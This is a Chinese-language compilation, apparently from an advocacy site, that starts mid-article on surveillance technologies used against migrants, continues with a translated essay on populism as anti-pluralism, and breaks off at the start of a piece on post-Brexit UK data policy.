这些技术也被各国的当地警方使用：2018年3月，隐私国际组织就发现英国47支警察部队中有26支部队使用了手机取证技术。

3、社交媒体情报：Twitter 或 Facebook会暴露关于你的什么

「图」

在过去的十年里，我们看到各种政府部门，包括移民部门，都采用了社交媒体情报（SOCMINT），即 允许技术公司或政府监控社交媒体网站 如 Facebook 或 Twitter 的技术和技巧。

- 在这里看到中国对此的用法 《这不是一场竞技表演：关于IYP为什么要采取开源情报》
- 维稳抗议活动的用法《如何识别抗议活动中可见的和不可见的监视》
- 《社交媒体情报是什么？它正在如何威胁你？》

- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》

其中一些活动是由政府本身直接开展的，但在某些情况下，政府要求技术公司为其提供开展此类活动的工具和/或专门知识。

- 在这里看到这些技术公司如何协助政府镇压《他们是如何抓捕说真话的人？灾难和教训》

早在2010年9月，欧洲边境管理局 Frontex 发布招标公告，向一家监控公司支付40万欧元，用于 “追踪社交媒体上的人”。在隐私国际组织询问 Frontex 是否经过必要的检查以确保他们的计划合法后，他们决定取消招标程序。

在隐私国际组织最近的报告中探讨了英国当局如何越来越多地使用这种技术作为他们的情报收集和调查策略的一部分，包括监控抗议活动和示威活动。

- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》
- 《警察如何利用抗议者的手机追踪每个人》
- 《如何识别抗议活动中可见的和不可见的监视》
- 《如何在监视时代参加抗议活动》
- 《警察用哪些监视方式瞄准抗议者？》
- 《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》
- 更多应对方案 见 列表-5 “护盾”

4、预测性警务（少数派报告）：加强种族偏见的恶性循环

警方利用所谓的预测性警务方案来估计何时何地可能发生犯罪，或谁可能犯罪。就是您在科幻电影《少数派报告》中看到的那种东西，其中最典型的用法就如中国的“社会信用评分”。

- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 《数十个城市实验了”少数派报告”中描述的技术》
- 《“社会信用”监视：英国、中国、美国和日本》
- 《西方社会距离中国式的”社会信用体系”监控还有多远？》

这些程序的工作原理是通过计算机算法分析历史警务数据。例如，一个程序可能会评估有关过去犯罪的数据，以预测未来犯罪的发生地点—— 确定地图上的 “点” 或 “框”。

- 被 “困在系统” 里的不只有外卖 《无形的极权主义》

但这些项目使用的数据是不完整的和有偏见的，导致了一个 “恶性循环” —— 把警察不断派到已经遭遇不公平地过度治安的社区。其他的预测性警务项目会改造人的行为习惯 —— 类似劳改营的那种效应，比如中国的社会信用评分。这些监视程序提供关于一个人的详细信息，然后算法决定这个人是否有可能犯罪。

- 《监视操纵社会：中国尝试通过社会信用系统改变社会行为》

你正在被默默地改变，却往往并不知情。

虽然一些人可能仍然会认为计算机程序和算法是“中立的”，遗憾的是事实并非如此。输入这些系统的数据是不完整的，或者是基于人的偏见，导致作出的决定使以前存在的社会不平等永久化。

- 技术就是政治，推荐这本书《被流行语掩盖着的 *技术专制主义* 时代》

例如，摸底调查项目经常会让官员们一次又一次地回到同样的早已被过度警戒的社区进行监视。很多研究已经表明，数据驱动的警务工作如何加强了刑事司法系统中的种族偏见。

- 不止政治偏见，还包括阶级偏见，甚至年龄偏见，穷人和年轻人被维稳当局视为 “危险”。这里介绍的一个维稳演习已经体现了这点

在英国，任何法律或法规都没有涵盖所谓的预测性警务程序的使用。这使得公民很难了解这些程序是如何被使用的，它们是如何对我们或我们的社区做出决定的，以及我们如何挑战这些决定。

然而，英国各地的警察部队都在使用或已经使用了预测性警务程序：

- 肯特郡警察局使用 PredPol（美国开发的监视程序）成为头条新闻，该监视程序可根据预测性绘图软件指示警官在哪里巡逻。
- 达勒姆警察局（Durham Constabulary）因其所谓的危害风险评估工具（HART）而闻名，该工具可根据某人的家庭、住房和财务状况数据使用粗略的剖析评估目标人是否有可能再次犯罪。
- 据报道，Avon 和 Somerset 警方已经在使用这种分析平台。
- 西米德兰兹郡警察部门也已经试用了预测性警务监视工具。

就像社交媒体监控一样，知道您的数据被收集并用于对您的人生做出决定，最终只会导致您对自己的行为进行自我审查。例如，如果您所在的社区是治安活动的所谓“热点”，您可能就会改变自己在当地的所作所为，甚至改变您与谁相处的时间。

【注：这就是为什么类似中国的“社会信用评分”制度会加快异议社区被边缘化的程度 —— 当人们知道与某些人交朋友的后果将是自己无法购买火车票的时候，您觉得他们会怎么选择？…… 最早期的分析《又一个被漠视的深渊》】

5、测谎仪：科学上完全可疑的维稳工具

「图」

使用数字取证工具是针对寻求庇护者和移民的监视和其他维稳技术的更广泛趋势的一部分，往往有科学上完全可疑的理由。在欧洲，这包括使用据称可以根据一个人的所谓“微特征”识别其是否在撒谎的技术、根据其声音识别一个人的出身、根据其骨骼识别其年龄。

- 这种可疑的技术被警察部门作为培训而普及《泄漏文件揭示给警察的“测谎”培训—基于伪科学》
- 对付测谎仪的方法《如何欺骗，和如何防骗：在灾难中幸存的方法（7）》

欧盟的“地平线2020”研究和创新方案一直在资助一个名为“iBorderCtrl”的项目，该项目被定义为“一个创新项目，目的是对跨越欧盟成员国陆地边界的第三国国民进行更快速、更彻底的边境管制”。除其他功能外，该系统还进行自动化的欺骗检测。

正如媒体调查所报道的那样，这是一种高度实验性的技术，其结果令人严重怀疑，但仍被用来做出改写一个人人生的重大决定。

6、外包的监控

「图」

“边境外包化”，即把边境管制转移到外国，在过去几年中已成为美国和欧盟试图阻止移民潮的主要手段。

它依靠利用现代技术、培训，以装备第三国的机构，来向边境以外的地方出口维稳能力。

- 一位特工自豪地说："我们这里所拥有的一切都来自美国"，另一方面他希望"欧盟会做得更好。"《国际资助者如何赞助了整个非洲萨赫勒地区的众多边境维稳任务》

全世界拥有最大国防和情报部门的国家都在向世界各地的政府和机构转让维稳技术和做法，包括向世界上一些最专制的国家转让。中国、欧洲国家、以色列、美国和俄罗斯都是世界范围内此类监控技术的主要提供者，欧盟等多边组织也是如此。监视行业在这一过程中发挥了重要作用。

- 更多内容见 列表-4 "协助暴政的家伙们"

它们的参与是通过采用特别基金来实现的，比如有争议的"欧盟-土耳其协议"，该协议规定向土耳其提供60亿欧元，以换取土耳其承诺封锁其与希腊和叙利亚的边界，让难民无法进入欧洲。类似的还有欧盟非洲紧急信托基金（EUTF）。

这助长了严重侵犯人权的行为，加强了专制主义，破坏了治理，并助长了腐败。它还将资金和其他资源从发展计划和其他援助中转移出来，将数十亿美元提供给了维稳机构和监视公司。A border police officer sits at the desk of one of the control posts for those crossing the border, inside the border post of Makalondi, at the Niger-Burkina Faso border. Photo by Francesco Bellina.

7、生物识别：数据库的盛宴

「图」

与许多其他政府维稳部门一样，在移民和边境管理机制中也部署了生物识别系统。

各公司提供的生物数据分析技术有多种用途，包括作为年龄和原籍国核实的一部分，用于甄别和（或）确定庇护，以及登记、认证和核实身份。

数据库的不一致性和错误也导致了大量错误的身份识别。身份识别的失误率对某些种族、阶层和年龄组的人的影响特别大。

2003年通过了"申请人身份查验法"(EURODAC)，并建立了一个欧盟庇护中心指纹数据库。在欧洲任何地方寻求庇护的14岁以上的人的指纹都会传送到这个中央数据库。

- 对本土居民也是如此，见《生物识别身份证》

该数据库用于指纹比对检查，以确保遵守(欧盟)第604/2013号条例(“都柏林公约”)，该条例要求寻求庇护者在进入欧盟的第一个国家提出申请。目前正在进行立法谈判，以扩大这一数据库，目的是从更多的人那里收集更多的个人数据，并将收集数据的年龄从**14**岁降低到**6**岁。

截至2018年8月，根据美国国务院《2019年国际麻醉品管制战略报告》，墨西哥和美国政府之间的生物识别数据共享计划在墨西哥的所有52个移民处理站中都很活跃。该计划利用生物识别信息对墨西哥被拘留的移民进行甄别，这些移民据称之前曾试图越过美国边境，或者是所谓的 “犯罪团伙成员”。

这一过程也严重缺乏透明度：例如，尽管有相互矛盾的证据，但墨西哥国家移民局在答复隐私国际组织的墨西哥合作伙伴R3D提出的获取信息自由的请求时，拒绝包含正在处理的生物识别数据信息。

在英国，即使是冠状病毒大流行也没能阻挡政府的脚步：内政部仍然要求寻求庇护者在选定的地点亲自登记其庇护申请。即使有法律允许在公共卫生紧急情况下暂停收集生物特征数据的情况下，这一要求依然存在。

- 在这里看到报告《What the EU’s Regulations on Interoperability Mean for People with Irregular Status” by our partner Statewatch and PICUM》

8、面部识别：无缝监视

「图」

面部识别通常指的是收集和处理人的面部数据的系统。这类系统具有很强的侵入性，它们依赖于采集、提取、存储或共享人们的生物特征面部数据。

在警务方面，面部识别可以捕捉个人的面部图像，并对其进行实时处理（“实时FRT”）或稍后处理（ “回顾性FRT”）。收集面部图像的结果是创建 “已识别人脸的数字签名”，并根据一个或多个数据库（“监视列表”）进行分析，通常包含从其他来源获得的面部图像，以确定是否匹配。

进行这种图像处理的目的可以是识别当时的某人，训练面部识别系统以更好地识别，或将其脸部输入系统供进一步使用。

警察和/或私人行为者都使用这种技术，对社会的治安或广泛监测的方式、特别是对有色人种的监视方式产生了巨大影响。例如，过去在伦敦进行的面部识别试验，错误率超过95%。

这种侵入性技术的推广不仅带来了重大的隐私和数据保护问题，而且还带来了现代民主国家是否应该允许使用这种技术以及在多大程度上使用这种技术的道德问题。

9、人工智能：您的命运被“困在系统里”

「图」

“AI” 这个流行语被用来指代各种不同的应用和技术，具有不同的复杂性、自主性和抽象性。这种广泛的用法包括机器学习（对个人进行推理、预测和决策）、特定领域的人工智能算法、甚至是人工智能“奇点”的未来主义想法。

这种定义上的不明确是一种挑战：不同类型的人工智能系统和应用会引发具体的伦理和监管问题。人工智能的不同应用和使用会以不同的方式影响隐私人权等基本权利和自由。

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》
- 《“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》

所谓的人工智能方法正被用于识别那些想要匿名的人 —— 从人们的非敏感数据中推断和生成有关人们的敏感信息；根据人口统计数据对人们进行画像；并利用这些数据做出相应的决定，其中一些决定深刻地影响着人们的生活。而这些只是部分例子。

在移民执法中采用了多种新技术，包括人工智能和以各种方式进行的自动化决策。这些技术包括在边境的测谎仪、关于访客签证申请的自动决策、用于识别难民身份或作为数字边境监测系统的一部分。

这些做法意味着，对于许多移民来说，他们的命运掌握在自动化系统的手中。

10、私营公司：边界维稳是个大生意

「图」

强大而侵入性的技术使当局能够收集有关人们生活的各种详细信息，这会带来巨大的危险。

在这种情况下，私营军事和安保公司在向政府提供各种监视技术和数据利用的“解决方案”和服务方面发挥了重要作用。诸如监视公司等营利单位将他们所提出的简易技术解决方案插入到移民执法机制中，这本身就非常危险。

- 在这里看到更多相关信息汇总 列表-2 “公私监控伙伴关系”

监视公司 Cellebrite 称自己是“数字智能的全球领导者”。在2019年，该公司将其数字提取设备提升到一个新的目标：协助当局审问寻求庇护的人。

在这种情况下，私营军事部门和安保公司在向政府提供各种监视技术和数据利用的“解决方案“和服务方面发挥了重要作用。诸如监视公司等营利行为者将他们所提出的简易技术解决方案插入移民执法机制，这本身就非常危险。

美国移民与海关执法局(ICE)是特朗普部署针对移民的“零容忍”方针的中心机构，多年来一直与美国一家监控公司签订合同，在全美范围内拦截人们的通讯。

由于战争、政治迫害和气候变化，数以百万计的人被迫移民，这就要求采取紧急的政治和社会行动，而不是商业机会。这些公司正在安装并经常运行针对移民和边境的监视系统，而不考虑对移民权利的保护。

这些监视公司得益于残酷的边境政策。

- 推荐隐私国际组织给联合国雇佣兵使用问题工作组提交的材料，关于私营公司在移民和边境管理中的作用以及对移民权利的影响

结论

「图」

为了应对移民潮，世界各国政府已经优先采用了一系列将移民行为定为犯罪并进行镇压的方法。

“边界” 不仅仅是我们直观可以看到的边界：随着边界管理向第三国和数字边界（如数字门户和数据库）的转移，移民管制日益外部化。技术发展使移民执法边界变得更加无形。

本文这个列表并不详尽，技术发展迅速，也许它很快会过时，如果公民不能及时抵制的话，它的恶化只会加速。〇

10 threats to migrants and refugees

原文

您可能误会了的民粹主义（下）：”真正的公民” - iyouport

你应该了解的现实少数派报告

【2021年5月12日存档】公民就是公民，“真正的” 是什么意思？那意味着还有 “不真正的” 公民？

欢迎回来！如果您错过了上一集内容，可以在 这里回顾：《您可能误会了的民粹主义（上）：民粹主义并非问题》。

本文来自普林斯顿大学政治学教授 Jan-WernerMüller。

特朗普在过去一年里说了太多极具攻击性和明显虚假的话，以至于有一句特别露骨的话几乎都没有人注意到。在5月的一次集会上，他宣称：“唯一重要的是人民的统一，因为其他人没有任何意义。”

有些人是有意义的，而有些人则没有意义，这是一种以身份为前提的政治，主要以排斥为定义。究竟谁该被排除在外？如何排除？—— 无论是通过建墙的方式对墨西哥人的排除，还是通过旅行禁令对穆斯林的排除—— 每天都会有不同的变化，但基本逻辑始终是一样的。有一个 “真正的美国”，特朗普知道它是什么，谁不同意这点就不属于 “真正的美国人”—— 而且暗中反对让美国再次伟大。

这种思维的意义在于，它暴露了特朗普是一个严格意义上的民粹主义者。许多观察家都谈到民粹主义在美国和欧洲的复兴，但是，他们对这一现象的描述往往是错误的。

虽然说了这么多，但人们并不清楚，当谈论民粹主义时，您真的知道自己在说什么吗？例如，在脱欧公投后的第二天早上，托尼·布莱尔诊断出一种所谓的 “极左和极右的融合”。他解释说，“右翼攻击移民，而左翼则抨击银行家，但叛乱的精神、对当权者的愤怒发泄、以及对复杂问题的简单化的和煽动性答案的嗜好，对两个极端来说都是一样的。”

但是，煽动性与民粹主义不是一回事。前者是一个虚假承诺或操纵公

民情绪的问题；而后者则是关于宣称代表所谓 “真正的人民” 的主张垄断。

把民粹主义弄错了，至少在两个关键方面会扭曲人们对政治现实的理解。

首先，存在将民粹主义 —— 它在欧洲和美洲部分地区的名声不好是有道理的 —— 等同于针对具体政策的合法抗议的危险；同时，它也低估了实际的民粹主义所带来的危险，比如特朗普和玛丽娜·勒庞的民粹主义。

民粹主义者不只是批评精英，也不只是用情绪化的言辞来玩弄人们的偏见。民粹主义者认为，有一个真正的、统一的 “人民”，只有他们才是其合法代表。在一个由不同利益和身份组成的多元民主中，这种主张为排斥整个群体开辟了道路 —— 在最糟糕的情况下，还可能导致专制主义。

民粹主义的反对者必须明确地认识到这一危险：他们不应该假装民粹主义者只是另一种类型的政治家，哪怕是更情绪化或更无礼一点。但他们也需要避免一个陷阱，即：排除民粹主义者的支持者。这就是希拉里·克林顿批评特朗普的选民为 “人渣” 时犯的战术错误。

民粹主义者总是声称，他们 —— 也只有他们 —— 才能代表人民。考虑一下特朗普在共和党全国代表大会上演讲时的救世豪言。“我是你们的声音”，其推论是：“只有我可以解决问题”。 这种言论旨在谴责其他政治竞争者完全是不合法的。

一句话，民粹主义者的定义取向不是反精英主义，甚至不是反建制（因为民粹主义者在执政时完全满足于建制），而是反多元主义。这种态度在政党政治层面（声称其他政客都是歪门邪道）和公民层面都转化为排外：反对者被描述为国家的叛徒。

当然，这并不是说政治中的每一种道德主张都是民粹主义的或本质上的危险。所有的政治语话中都或多或少地贯穿着对价值观和原则的直接主张。而问题是，民粹主义者声称他们对 “真正的人民”（根据定义，即 道德上无可指责的人）是什么样的人、希望得到什么，有一种特权式的解释。

每一个民粹主义者在运作时，都会对 “真正的人民” 和不属于真正人民的其他人进行象征性的、最终是道德上的区分。事实上，美国历史上的民粹主义者—— 想想乔治·华莱士—— 经常使用 “真正的美国人”

这个词。当然，华莱士被人们记住的大多是他在1963年就任阿拉巴马州州长时的那句臭名昭著的话：“以有史以来最伟大的人民的名义，我在尘埃中划出界线，在暴政的脚下抛出铁栅栏 ….. 我说 …… 今天的隔离 …… 明天的隔离 …… 永远的隔离！” 在种族隔离的强大呼声中可能很难听到这句话，但请注意他对 “有史以来最伟大的人民” 的呼吁，以及声称专门以其名义发表言论。这就是民粹主义者的招牌动作。

所有的民粹主义者都在做身份政治—— 虽然这并不是说所有的身份政治都是民粹主义。特朗普对种族身份的领导，深刻地揭示了他的民粹主义身份政治的特殊品牌，这绝不是历史的偶然。

在右翼民粹主义者眼中，奥巴马体现了两个不属于 “真正美国人” 的群体：两岸自由派精英和非裔美国人。特朗普如此突出地试图证明奥巴马的总统任期不仅是象征性的非法，而且是明摆着的非法，一个 “非美国人” 已经渗透到了国家的最高职位上，这并不奇怪。特朗普现在转移话题，指责希拉里·克林顿煽动了整个事件。然而，身份主义就是他政治世界观的核心。

当民粹主义者叫嚣着让 “人民自己” 说话时，他们并没有真正呼吁更多的民主参与；相反，他们依靠的是所谓 “真正的人民” 的象征性代表 —— 一个虚构的实体，一个被排除在民主程序之外的完全同质的、道德上统一的团体，他们所谓的意愿可以与实际的选举结果相抗衡。

理查德·尼克松的 “沉默的大多数” 概念在民粹主义者中拥有如此辉煌的事业并非偶然：如果大多数人不沉默，那么他们就已经有了一个真正代表他们的政府；如果民粹主义政客在民调中失败，不是因为他没有说服足够多的选民，而是因为 “大多数人还不敢说话” —— 或者更糟糕的是，因为 “被精英们阻止了”。

但是，有人可能会反对，民粹主义者不是经常主张更直接的民主形式吗？他们不是要求进行全民公投吗？是的，但我们必须清楚，公投对民粹主义者意味着什么。

民粹主义对于让人们不断地参与政治并没有特别的兴趣。全民公投的目的并不是要催化公开的讨论，以产生一系列关于政策的深思熟虑的判断；相反，它的作用是将民粹主义领袖已经认定的 “真正的民众利益” 作为一种认同，而不是作为一种可经检验的想法和利益的问题。没有参与的民粹主义是一个完全一致的主张。

事实上，如果把民粹主义理解为权力应该尽可能广泛地分散，那么民粹主义者甚至本质上并不是反精英主义的。民粹主义者对代表制原则没有意见 —— 只要他们是代表；他们对精英同样没有意见—— 只要这些精英代表民粹主义者所认为的 “人民” 说话。

人们并不会因为指出特朗普是经济精英的一部分而对他进行决定性的打分；转为政治家的欧洲商人也是如此，比如瑞士民粹主义者 Christoph Blocher。这些人的支持者很清楚，他们是精英阶层的成员；重要的是他们承诺不会背叛人民的信任，会忠实地执行人民的授权。

民粹主义者在执政时，往往对基本上被动的人民采取一种看守的态度，这并非偶然。想想西尔维奥·贝卢斯科尼在意大利的统治：国家事务要交给 Il Cavaliere 来处理，像管理一个非常大的商业公司那样治理国家。没有必要进行广泛的政治参与。

政治学家对政治代表权中的强制授权和自由授权作出了区分。强制性授权要求代表必须按照选民明确的政策意愿行事；自由授权则允许代表使用自己的判断。民粹主义者认为，全体人民可以用一个声音说话，发出类似于强制性授权的东西。因此，不需要辩论，更不需要在国民议会中进行乱七八糟的来回审议。

然而，强制性授权根本不是真正来自公民，充其量只是来自那些在集会上喊得最响的人。其所谓的详细指示，最终是基于民粹主义政客的解释。许多政治学家很早就指出，一个完全一致的、单一的 “民众意志” 是一种幻想，没有人能够像胡安·庇隆 (Juan Domingo Perón) 曾经说得那么直接，他可信地宣称 “政治领袖就是做人民想要的事的人”。假装有这样的意愿，也会削弱民主问责制。民粹主义者总是可以回头向人民宣布，“我实施的正是你们想要的， 你们授权了我，如果有什么问题，那不是我的错。” 相比之下，自由授权则把责任放在了代表身上，让他们证明自己如何使用自己的政治判断。

有原则的、说教式的反多元主义以及对 “人民” 这一非制度化概念的依赖，也有助于解释为什么民粹主义者如此频繁地拒绝不利的选举经验结果，而支持符合他们主张的结果。

想想匈牙利民粹主义者维克托·欧尔班在2002年议会选举意外失利后声称 “国家不能成为反对派”—— 从而将他的政党等同于 “国家”（党国不分）。或者安德烈斯·曼努埃尔·洛佩斯·奥夫拉多尔（Andrés Manuel López Obrador）在2006年竞选墨西哥总统失败后，认为 “右翼的胜利在道义上是不可能的”—— 并宣称自己是 “墨西哥的合法总

统”。再或者，美国茶党的爱国者声称，奥巴马即使赢得了多数选票，也是“违背多数人的执政”。再比如右翼民粹主义者基尔特·威尔德斯 (Geert Wilders)，他称荷兰众议院是“假议会”，有“假政客”。

最后又是特朗普，对每一次初选失利的反应都是指责对手舞弊，并逍遥自在地宣称如果克林顿在11月获胜一定是由于系统被操纵了 —— 甚至说克林顿根本没有资格当总统，因为她是个罪犯，应该进监狱。（克林顿是罪犯并不意味着特朗普就不是罪犯，而他如此声称的目的就是要强调这点“只有我才行”）

问题从来都不是民粹主义者没能抓住大多数选民，问题永远是腐败的体制产生了错误的结果。因此，阴谋论并不是民粹主义言论的奇怪意外，而是植根于民粹主义本身的逻辑之中。

那么，民粹主义就不仅仅是一个风格问题了；它也不是一个不负责任的政策或政治献媚的问题。后一种观点在欧洲很普遍，正如德国裔英国社会学家拉尔夫·达伦多夫（Ralf Dahrendorf）曾说过的那样，民粹主义很简单，而民主则很复杂。

拒绝这种对民粹主义的定性，并不是否认民粹主义者所拥护的一些政策是不负责任的 —— 比如说，歪曲证据，或者为了短期的选举利益而忽视长期后果。人们不一定要成为新自由主义技术官僚才能判断一些政策明显不合理。想想乌戈·查韦斯无奈的委内瑞拉总统继任者尼古拉斯·马杜罗（Nicolás Maduro），他试图通过派遣士兵进入电子产品商店，在产品上贴上降价贴纸来对抗通货膨胀。

不过，我们还是不能这样产生一个民粹主义的定义。因为在责任与不负责任之间没有绝对明确的界限，而对不负责任的指控本身也可能是高度党派化的。把政治辩论作为一个责任问题来构筑，就会产生一个问题，即：根据什么标准来负责任？比如说，自由贸易协定可以是负责任的，因为它致力于实现国内生产总值的最大化，但是，却会产生不可接受的分配后果。在民粹主义和负责任的治理之间进行区分，只会掩盖有关问题。它也可以是一种非常方便的方式来诋毁对某些政策的批评，就像伯尼·桑德斯和西班牙的新左翼政党 Podemos 和希腊的 Syriza 领导人的政策被攻击为“民粹主义”时经常发生的那样。

当然，可以说桑德斯符合美国对“民粹主义”这个词的历史理解 —— 草根的、进步的、批判华尔街的。但如果说我们在这里面对的是全盘的反多元主义者，那就绝对错了。这并不是说左翼民粹主义是不可能的：乌戈·查韦斯就是一个民粹主义者；不同意他的“二十一世纪社会主义”就等于与人民为敌。

民粹主义也不是推进特定政策的问题。绝不是“你反对移民？你一定是个民粹主义者！”或者：“你想结束南欧的紧缩政策？你一定是个民粹主义者！”民粹主义有一个清晰可辨的结构，但其政策承诺的具体内容在不同的历史和地理环境下会有很大的不同。重要的是，民粹主义者会找到一种沟通方式，即 只有部分人是“真正的人民”，只有部分人是人民的“真正代言人”。这些说法必然会与民粹政客在民调中得不到一致支持的现实发生冲突。解释永远不可能是“人民犯了错误”—— 因为人民的意志永远是纯洁无误的。

一些人，特别是在美国，可能坚持认为，必须将民粹主义定性为由那些感到被新自由主义全球化边缘化了的人所推动的运动。然而，以特定的社会经济群体来定义民粹主义在经验上是值得怀疑的：例如，一些研究表明，特朗普的支持者平均收入并不低，他们也并不是过度集中在受全球化不利影响最大的地区。

此外，这样的论点往往依赖于现代化理论中一套基本被否定的假设。的确，在欧洲，那些投票给通常被称为右翼民粹主义政党的人收入较低，受教育程度较低。他们也绝大多数是男性 —— 这一发现在美国也得到了证实，但在拉丁美洲却没有。然而这些模式是可以改变的；国民阵线近年来吸引了许多女性选民（不仅仅是因为玛丽娜·勒庞和她的侄女玛丽昂所扮演的突出角色）。正如德国社会科学家卡里斯·普里斯特（Karin Priester）所表明的那样，经济上成功的公民往往采取一种本质上的社会达尔文主义态度，通过宣称，“我已经成功了，为什么他们不能？”来证明他们对右翼政党的支持是合理的。(想想茶党的标语牌，要求“重新分配我的道德原则！”) 在一些国家，如法国和奥地利，民粹主义政党实际上是跨阶层的：它们吸引了大量工人，但也吸引了许多其他阶层的人。

调查显示，社会经济地位和对右翼民粹主义政党的支持往往完全不相关。我们不能把对国家衰落或危险的看法（“精英们正在抢走我们的国家！”）归结为个人恐惧或地位焦虑。许多民粹主义政党的支持者以自己是自由思想者为荣，并坚决否认他们的观点只是个人的或情绪化的。

无论如何，把一套政治信仰的内容（民粹主义毕竟是一种“主义”）与支持者的社会经济地位和心理状态混为一谈是错误的。这就好比说，理解社会民主主义的最好方法是把它的选民定性为羡慕富人的工人。

民粹主义支持者的社会学和人口学特征，对我们如何思考这一现象确实很重要。但是，在没有任何真正的经验基础的情况下，把它称为所谓“现代化失败者”的一种语焉不详的政治表达，是适得其反的，就

像布莱尔曾经说过的那样，他说很多人不理解 “现代世界是如何运作的”。

民粹主义是建立在一个虚构的基础上 —— 一个具有统一意志的同质的 “真正的人民”，但它并不是一路虚构的政治：有真实的公民在支持它，我们从一开始就不能排除他们有真实的、以理性的理由做出这样的选择。

那么，为什么这么多政治家、记者和学者不断地使用怨恨的语言呢？因为他们仍在有意或无意地利用从20世纪50年代和60年代现代化理论鼎盛时期衍生出来的假设。

正是丹尼尔·贝尔（Daniel Bell）、爱德华·希尔斯（Edward Shils）和西摩·马丁·利普塞特（Seymour Martin Lipset）等自由派知识分子将民粹主义描述为那些渴望更简单的前现代生活的人对焦虑和愤怒的无奈表达。例如，利普塞特声称，民粹主义对 “心怀不满和心理层面的无家可归者 …… 个人失败者、社会孤立者、经济不安全者、未受教育者、不成熟者和专制人格者” 具有吸引力。

这些社会理论家的直接目标是麦卡锡主义和约翰·伯奇协会，但是，他们的诊断往往延伸到19世纪末美国最初的民粹主义反抗。维克托·C·费基斯 (Victor C. Ferkiss) 认为，农民联盟和人民党的最初追随者无异于美国一个独特的法西斯主义品种的先驱。当然，这个论点后来受到了挑战，但今天许多社会和政治评论家仍然坚持这种背景假设。

最后，还有一种说法是，民粹主义一定与那些最早自称民粹主义者的人有关。想一想十九世纪末被称为 narodniki 的俄国知识分子，以及他们的 Narodnichestvo —— 通常被翻译为 “民粹主义” —— 理想化农民生活，并将村社视为整个国家的政治模式。与许多城市知识分子一样，他们发现人民并没有以他们所希望的方式欢迎他们。

对许多观察家来说，十九世纪末在俄国和美国同时出现一种叫做民粹主义的东西，一定是有原因的。这两个运动都与农耕主义有关，这一事实引起了至少在1970年代以前一直盛行的一种观念，即民粹主义与农耕主义有着密切的联系 —— 它在本质上是迅速现代化的社会中反动的、经济上落后的群体的反抗。虽然今天的民粹主义大体上已经失去了这种关联，但美国历史上所谓的 “民粹主义” 的起源，仍然让许多观察家认为，民粹主义必须偏向于最不占优势的群体，或者让边缘化的人参与政治。这种意识在拉丁美洲得到了加强，在拉丁美洲，民粹主义的倡导者总是强调它的包容性和解放性，而拉丁美洲仍然是全球经济上最不平等的大陆。

但是，政治和社会理论不能把自己植根于一种特定的历史经验模式。我们必须允许这样一种可能性，即：对民粹主义的合理理解可能会排除那些明确自称民粹主义者的历史运动和行为者。历史学家一般不会因为纳粹自称社会主义者就认为正确理解社会主义需要为国家社会主义留出空间。

其他政客应该如何应对这种高度排外的身份政治形式？而不是把排斥的策略反过来对准民粹主义者本身。

在欧洲，将民粹主义者完全拒之于电视辩论之外是一种常见的策略，但这是一个错误。这种不屑一顾的态度恰恰证实了民粹主义者一直在告诉他们的支持者的事：精英们是无情的，最终是异类，或者至少是与普通公民的日常问题格格不入的。然而，与民粹主义者交谈不等于需要你像民粹主义者那样交谈。人们可以认真对待问题，而不接受民粹主义者构思问题的方式。

另一方面，如果认为只要把事实说清楚，或者教训公民，让他们知道身份政治不会为他们的经济利益服务（或者用布莱尔的话说，“向他们解释现代世界到底是如何运作的”），就可以打败民粹主义者，那就太天真了。几乎没有任何事实能说明一切，它们总是一个更大的政治叙事的一部分。

把叙事留给民粹主义者又是一个错误：想想法拉奇（Nigel Farage）主导的关于脱欧辩论的方式就知道了。他关于公投的故事 —— 这是一个捍卫英国自由、反对布鲁塞尔独裁的问题—— 基本上占了上风，尤其是因为有那么多所谓的主流保守派政治家宣称它基本正确。当“留欧”运动指出，离开欧盟会使英国家庭的经济状况恶化4300英镑时，已经太晚了：这种说法已经失去了意义。与“自由的价值”相比，几千英镑算什么？

那么该怎么做呢？

首先，我们必须非常小心地描述民粹主义者的支持者。像“挫折”、”愤怒”，尤其是“怨恨”这样的词并不是中性的。由于缺乏可靠的数据来说明究竟是什么原因促使公民选择了民粹主义者，政治观察家们常常诉诸19世纪大众心理学的陈词滥调：大众无疑是非理性的，是被有魅力的、煽动性的领导人所左右的，云云。

然而，这种诊断往往所依赖的原因和情绪之间的分裂是有误导性的：没有人会无缘无故地生气。情绪也是有原因的，而且公民通常可以对这些原因作出解释。这并不意味着我们必须接受这些原因，但如果暗

示所有民粹主义者的支持者都是被原始的愤怒和怨恨所驱使，将确保我们永远无法进入辩论原因的阶段。

这并不是要否认特朗普的支持者中确实有种族主义者。但是，我们不能把过去一年多来支持他的人都简单地说成 “不可救药”。与其将民粹主义支持者集体妖魔化，不如直接、准确地指出民粹主义政客拒绝民主多元主义 —— 指出他们煽动对少数族裔的仇恨，系统性地诋毁女性。

当然，在面对民粹主义者时，也应该尽可能地敲打事实，规范性和经验性的攻击路线并不会相互排斥。

正如历史学家迈克尔·卡辛提醒人们的那样，例如，在工会开始向其成员轰炸阿拉巴马州 “劳动者” 的实际状况以及华莱士作为州长在改善这一状况方面所做的工作有多么微不足道之后，华莱士在1968年总统竞选中的支持率就消失了很大一部分。不能保证这种策略会奏效。但如果这种反击是关于共同民主理想的叙事的一部分，它们就有可能起效。应该记住约瑟夫·韦尔奇提出的那个问题—— “你没有留下任何体面的感觉吗？”—— 帮助推动了参议员乔·麦卡锡的失败，这个人物在残酷和分裂方面完全可以与特朗普相媲美。〇

Real Citizens

原文

您听说过避税天堂；而脱欧后的英国可能成为"数据天堂" - iYouPort

你应该了解的现实

如果英国托管以非法方式获取的数据，那么财务和声誉损失将是巨大的

「图」

「图」

英国正处在一个十字路口上。在脱欧的边缘，它必须决定自己在隐私问题上的立场：是放松数据保护条例，更多地向中国模式靠拢，还是，保障公民的隐私人权，并确保与欧盟达成数据充分性协议？

如果选择前者，将是一个严重的错误。

9月，英国公布了国家数据战略。数字大臣 Oliver Dowden 写道，根据英国的战略，“数据和数据使用被视为需要拥抱的机会，而不是需要防范的威胁。”

没有人怀疑数据中存在着诱人的机会，但是，如果过分关注数据的潜在利益，而忽视个人数据的收集和使用所带来的威胁，是非常不明智的。

当该战略提到要解决数据方面的所谓 “障碍” 时，人们有理由开始担心英国会选择过于不安全的方法，该战略指出，这些障碍包括 “法律障碍（现实的和感知的）、文化障碍、和风险规避”。

